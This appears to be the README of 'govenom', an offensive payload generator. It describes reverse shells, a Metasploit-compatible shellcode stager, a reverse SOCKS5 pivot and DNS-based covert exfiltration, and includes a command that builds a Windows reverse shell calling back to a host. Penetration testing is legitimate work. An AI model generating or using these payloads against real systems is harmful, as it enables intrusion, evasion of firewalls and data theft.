govenom

No clue about the target environment, installed shells, firewall rules? Uncommon CPU architecture?
Govenom has you covered!

govenom is a msfvenom-inspired payload generator written in Go. This makes it easy to cross-compile static binaries for a variety of target platforms. It is also much faster than msfvenom.

Payloads

Currently, four payloads are supported:

rsh: A simple reverse shell. It selects one of the most common shells binaries and makes it available via TCP or UDP connection.
xrsh: An extended robust reverse shell. A simple heuristic determines the most suitable shell executable, taking shells that are installed but not in $PATH into account. In contrast to most other available shells out there, additional info can be sent via alternative communication channels via the exfiltration mechanism (see relevant section below). For example, if no shell could be detected or the connection could not be established due to a firewall, the corresponding error can be exfiltrated via DNS.
stager: A shellcode stager that is compatible with Metasploits exploits/multi/handler with a meterpreter/reverse_tcp payload. It first reads a 4 Byte shellcode length and then the shellcode itself from a TCP connection and executes it. Currently, this is only available for Windows targets.
socks5: A socks5 server via a reverse TCP connection. It connects back to the gateway tool and provides network access to the target's network. The socks5 server on the target system can only be accessed by connecting to the gateway listener opened by the govenom gateway tool.

Tools

govenom also provides some tools to work with the payloads:

dnslogger: The dnslogger tool decodes and recombines messages that were exfiltrated via DNS.
pusher: The pusher tool can serve and deliver meterpreter shellcode generated using msfvenom to the govenom stager payload.
gateway: the gateway for the socks5 payload. It waits for the payload to connect back and starts a lister which forwards connection to the payload's socks5 server and thus acts as a gateway into the target's network.

Debug Exfiltration

Sometimes a shell you placed on target system does not appear to connect back. Most of the time this results in a lot of trial and error. Maybe the firewall blocks TCP connections or maybe just one of the ports you tried. Maybe you expected powershell to be present but only cmd is there. The solution to problem is the govenom debug log exfiltration mechanism which can optionally be used with xrsh and stager payloads. It lets you configure an arbitrary amount of exfiltration strategies of the following types:

stdout/stderr: If you can capture the output of your payload when it's executed, you can output debug logs via stdout/stderr.
DNS: The most useful exfiltration type because noone blocks DNS. Messages are encoded and split into parts which can be put together again by the govenom tool dnslogger (see section below).
File: Write the debug information into a file on the target system. This is for example useful if you can recover files via a local file inclusion vulnerability.
Net (dial): Send the debug log via a TCP or UDP connection that's different from the original connect back connection.

Building

govenom can be built in two ways. It either generate payloads directly from the source code in the ./payloads folder of this repos or it can be built with the source code embedded such that it works as a standalone binary. The binaries distributed with releases are standalone binaries.

# build a govenom binary that uses the payload code
# directly from the repository
go build

# build a standalone govenom binary (see the standalone
# Makefile section for the commands to build on Windows)
make standalone

Usage

Run go run govenom.go for detailed usage information. The following example generates the extended reverse shell for a 32-Bit Windows target that connects back to 127.0.0.1:1337 and uses multiple debug exfiltration strategies:

# generate a payload
govenom payload xrsh -d 127.0.0.1:1337 \
    --os windows --arch 386 \
    --exfil dns:example.com,stdout,dial:udp:127.0.0.1:1234 \
    -o revsh.exe

# run a tool
govenom tool dnslogger

Note: Go has to be installed to run govenom itself and it is also used by govenom itself to build the selected payloads.

FAQ:

The govenom integrity cannot be verified on macOS

macOS adds a quarantine attribute to downloaded binaries which you can remove with the following command:

xattr -d com.apple.quarantine ./govenom

Plans

Connection encryption
Reverse shell listener like ncat with logging capabilities
Linux support for the stager payload

Thanks to https://quasilyte.dev for the logo.

erikgeiser / govenom